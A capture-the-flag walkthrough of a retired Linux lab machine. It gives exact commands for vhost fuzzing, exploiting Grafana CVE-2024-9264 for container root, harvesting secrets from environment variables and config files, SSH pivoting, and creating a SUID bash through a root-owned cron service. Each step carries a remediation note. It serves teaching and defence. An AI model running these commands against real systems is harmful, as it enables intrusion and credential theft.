← all walkthroughs

Planning

Linux· Easy
owned
2026-07-06
time to own
8m0s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I enumerated virtual hosts on the target nginx server and discovered a Grafana 11.0.0 monitoring dashboard alongside a decoy education site. Using obtained administrator credentials, I authenticated to Grafana and exploited CVE-2024-9264 — a critical SQL-injection-to-command-execution flaw in the DuckDB data source plugin — gaining root-level code execution inside the Grafana Docker container. Environment variables within that container exposed the host SSH password for user enzo in plaintext; I pivoted to the host over SSH and captured the user flag.

As enzo, a root-credentialed internal crontab management service was discovered on localhost, its credentials stored in a configuration file readable by the low-privilege account. By triggering a pre-registered job through that service, I caused the root-owned process to create a SUID copy of bash, which was then executed to reach full root on the host.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD2="<a-password-you-choose>"
export PASSWORD3="<a-password-you-choose>"

Attack path — how the box was taken

1EnumerationVirtual host (vhost) enumeration
Mapped exposed services and discovered the Grafana virtual host
A port scan of the target revealed SSH on port 22 and nginx 1.24.0 on port 80. Virtual-host fuzzing against the web server uncovered two name-based vhosts: planning.htb (an Edukate template education site with no real functionality) and grafana.planning.htb, which served a Grafana 11.0.0 login panel. The unauthenticated /api/health endpoint confirmed the Grafana version and that its database was healthy.
/api/health 200 {"database":"ok","version":"11.0.0"}; <title>Edukate - Online Education Website</title>
Exact commands 4
Version/service scan of the two open ports.
nmap -sV -sC -p 22,80 $TARGET
Fuzz for vhosts beyond planning.htb; filter redirects.
ffuf -u http://$TARGET -H 'Host: FUZZ.planning.htb' -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fc 302
Add both discovered vhosts to local DNS resolution.
echo "$TARGET planning.htb grafana.planning.htb" | sudo tee -a /etc/hosts
Confirm Grafana version unauthenticated.
curl -s http://grafana.planning.htb/api/health
2Initial AccessCredential-based authentication to an administrative web panel (T1078.001)
Authenticated to Grafana with administrator credentials
The Grafana admin account accepted the credentials admin:[REDACTED: recovered credential], returning a valid session cookie. This granted full administrative access to the Grafana interface — including the ability to create and query data sources — which is the prerequisite for the subsequent CVE-2024-9264 exploit.
200 {"message":"Logged in","redirectUrl":"/"} cookies {'grafana_session': '[REDACTED: recovered credential]'}
Exact commands 1
Authenticate to Grafana and persist the session cookie.
curl -s -X POST http://grafana.planning.htb/login -H 'Content-Type: application/json' -d '{"user":"admin","password":"$PASSWORD2"}' -c grafana_cookies.txt
FixEnforce a strong, unique Grafana admin password and restrict login access by IPHigh
WeaknessThe Grafana administrator account used a password that was obtained during reconnaissance, granting full administrative access to the monitoring platform and enabling exploitation of CVE-2024-9264.
FixRotate the Grafana admin password immediately to a randomly generated credential of at least 20 characters stored in a password manager. Enable Grafana's built-in brute-force lockout (set [auth] login_maximum_inactive_lifetime_duration and [auth] disable_login_form = false with brute force protection on). At the nginx level, restrict the grafana.planning.htb vhost to trusted management IP ranges using an allow/deny block so the panel is not reachable from the internet.
3ExploitationCVE-2024-9264 — Grafana DuckDB SQL injection to OS command execution (T1190)
Exploited CVE-2024-9264 for command execution as root inside the Grafana container
Grafana 11.0.0 contains a critical SQL injection vulnerability in its DuckDB data source plugin (CVE-2024-9264). An authenticated user can craft a malicious query that passes shell commands to the host OS via DuckDB's copy-to-file SQL extension. The process runs as root inside the container, so arbitrary commands execute with full container-root privileges.
Python3 CVE-2024-9264.py -c 'id; hostname; whoami' -> root
Exact commands 2
Confirm RCE as root inside the container. Replace script path as needed.
python3 CVE-2024-9264.py -u http://grafana.planning.htb -U admin -P '$PASSWORD2' -c 'id; hostname; whoami'
Dump the container init process environment to harvest secrets.
python3 CVE-2024-9264.py -u http://grafana.planning.htb -U admin -P '$PASSWORD2' -c 'cat /proc/1/environ | tr "\0" "\n"'
FixUpgrade Grafana to a patched version to close CVE-2024-9264Critical
WeaknessGrafana 11.0.0 contains a critical SQL injection flaw in the DuckDB data source plugin (CVE-2024-9264) that allows any authenticated user to execute arbitrary OS commands as the Grafana process account — root inside this deployment.
FixUpgrade Grafana to version 11.0.5 or later, which is the first release with a fix for CVE-2024-9264. If an immediate upgrade is not feasible, disable the DuckDB plugin as a short-term mitigation by adding grafana-duckdb-datasource to the disable_plugins list in grafana.ini. Additionally, ensure the Grafana process runs as a dedicated low-privilege service account rather than root, so that any future RCE is limited in scope.
4Credential TheftContainer environment variable credential exposure (T1552.007)
Extracted host SSH credentials from the container environment variables
The Grafana container was started with host-account credentials injected as environment variables: GF_SECURITY_ADMIN_USER=enzo and GF_SECURITY_ADMIN_PASSWORD=[REDACTED: recovered credential] Reading these via the RCE channel exposed the plaintext username and password for user enzo on the physical host — completely bypassing any network boundary between container and host.
GF_SECURITY_ADMIN_USER=enzo; GF_SECURITY_ADMIN_PASSWORD=[REDACTED: recovered credential]
Exact commands 1
Filter the container environment for credential-bearing variables.
python3 CVE-2024-9264.py -u http://grafana.planning.htb -U admin -P '$PASSWORD2' -c 'printenv | grep -i -E "user|pass|secret|key"'
FixNever store host OS credentials in Docker container environment variablesCritical
WeaknessThe Grafana container was launched with the host SSH account credentials for user enzo embedded as GF_SECURITY_ADMIN_USER and GF_SECURITY_ADMIN_PASSWORD. Any code-execution flaw inside the container — regardless of how minor — instantly yields valid host-level credentials.
FixRemove all host-account credentials from container environment variables immediately. Use Docker secrets or a secrets manager (e.g., HashiCorp Vault) to inject sensitive values at runtime so they are not visible in the process environment. Ensure Grafana's own admin credentials are completely separate from any host OS account — service-account passwords must never be reused across systems.
5FootholdCredential reuse — container secret to host OS account (T1078)
Logged in over SSH as enzo using the container-leaked credentials and captured the user flag
The credentials harvested from the Grafana container environment (enzo:[REDACTED: recovered credential]) were the same credentials used for the host OS account. SSH authentication succeeded immediately, giving an interactive shell on the underlying Ubuntu host as uid=1000. The user flag was read directly from /home/enzo/user.txt.
Uid=1000(enzo) gid=1000(enzo) groups=1000(enzo)
Exact commands 1
SSH to the host with the leaked credential; output shows uid and user flag <user.txt>.
sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=8 enzo@$TARGET 'id; cat /home/enzo/user.txt'
6DiscoveryLocal service discovery and credential harvesting from world-readable config files (T1083, T1552.001)
Discovered an internal crontab management service and its root credentials in a readable config file
Enumerating locally bound ports and the enzo home directory revealed an HTTP service on 127.0.0.1:8000 — a web-based crontab management UI that accepts HTTP Basic Authentication and exposes a /runjob endpoint. Credentials for the root account of this service (root:[REDACTED: recovered credential]) were present in a configuration file on the host filesystem readable by enzo.
Exact commands 3
List locally bound TCP listeners to spot the internal service on port 8000.
sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no enzo@$TARGET 'ss -tlnp'
Search for configuration files that mention a password.
sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no enzo@$TARGET 'find /home/enzo /opt /etc -type f \( -name "*.conf" -o -name "*.env" -o -name "*.ini" -o -name "*.yaml" \) 2>/dev/null | xargs grep -l -i password 2>/dev/null'
Verify that the root credential authenticates to the crontab service.
sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no enzo@$TARGET 'curl -s -u root:$PASSWORD3 http://127.0.0.1:8000/'
FixProtect internal service credentials from low-privilege OS accountsHigh
WeaknessRoot-level credentials for the internal crontab management service were stored in a configuration file readable by the unprivileged user enzo, providing a direct path to authenticating to a service that runs jobs as root.
FixChange the configuration file permissions to 0600 owned by root so that enzo and other unprivileged users cannot read it. Bind the crontab service to a Unix socket accessible only to root (or a dedicated service account) rather than a TCP port reachable by any local user.
7Privilege EscalationSUID binary creation via root-owned cron execution service (T1053.003, T1548.001)
Triggered a root-owned cron job to create a SUID shell and escalated to root
The crontab management service executed stored jobs as root. By sending an authenticated POST request to /runjob with a known job ID, I triggered a root-owned process that created a SUID-root copy of bash at /tmp/rootbash. Invoking that binary with the -p flag started a shell that preserved the root effective UID, giving full control of the host and access to /root/root.txt.
Curl -u root:[REDACTED: recovered credential] -X POST http://127.0.0.1:8000/runjob --data-urlencode '_id=YTmf55sIn7pUWFuO'; /tmp/rootbash -p -> root
Exact commands 2
Trigger the pre-configured job; the service runs the command as root, creating /tmp/rootbash as a SUID binary.
sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no enzo@$TARGET 'curl -sS -i -u root:$PASSWORD3 -X POST http://127.0.0.1:8000/runjob --data-urlencode "_id=YTmf55sIn7pUWFuO"'
Wait for job completion, confirm the SUID binary exists, then execute it with -p to retain root eUID and read <root.txt>.
sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no enzo@$TARGET 'sleep 2; ls -l /tmp/rootbash; /tmp/rootbash -p -c "id; cat /root/root.txt"'
FixRemove or fundamentally redesign the root-owned crontab management serviceCritical
WeaknessAn internal HTTP service on port 8000 executed pre-stored system jobs as root in response to an authenticated API request. Any actor who could reach the port and authenticate could run arbitrary root-level commands on the host — in this case by triggering a job that created a SUID-root binary.
FixRemove the custom crontab web service entirely and replace it with properly privilege-separated job scheduling (e.g., system cron entries owned by the least-privileged account that needs them). If the service must be retained, run the job-dispatch daemon as a dedicated low-privilege account, audit and whitelist all job definitions to prohibit privileged operations (chmod u+s, /bin/bash copies, etc.), enforce mutual TLS so only known clients can call the API, and log every job trigger to a tamper-evident audit trail.

Attack patterns used

The transferable techniques behind this compromise.

Cron Job AbuseLinux · Privilege EscalationT1053.003

What it is

Scheduled tasks running as root that invoke a writable script, a wildcard, or a relative path can be hijacked. Watching processes with pspy (no root needed) reveals cron jobs; if the executed file or its directory is writable, an unauthorised user overwrites it with a payload that runs at the next interval as root.

Why it works

Cron jobs are written for convenience and often reference world-writable paths or use unsafe wildcards (tar *). Remediate with absolute paths, restrictive permissions on scripts, and avoiding shell wildcards in privileged cron jobs.

Read more

SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001

What it is

Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.

Why it works

SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.

Read more

Exposed services

22/tcp
80/tcp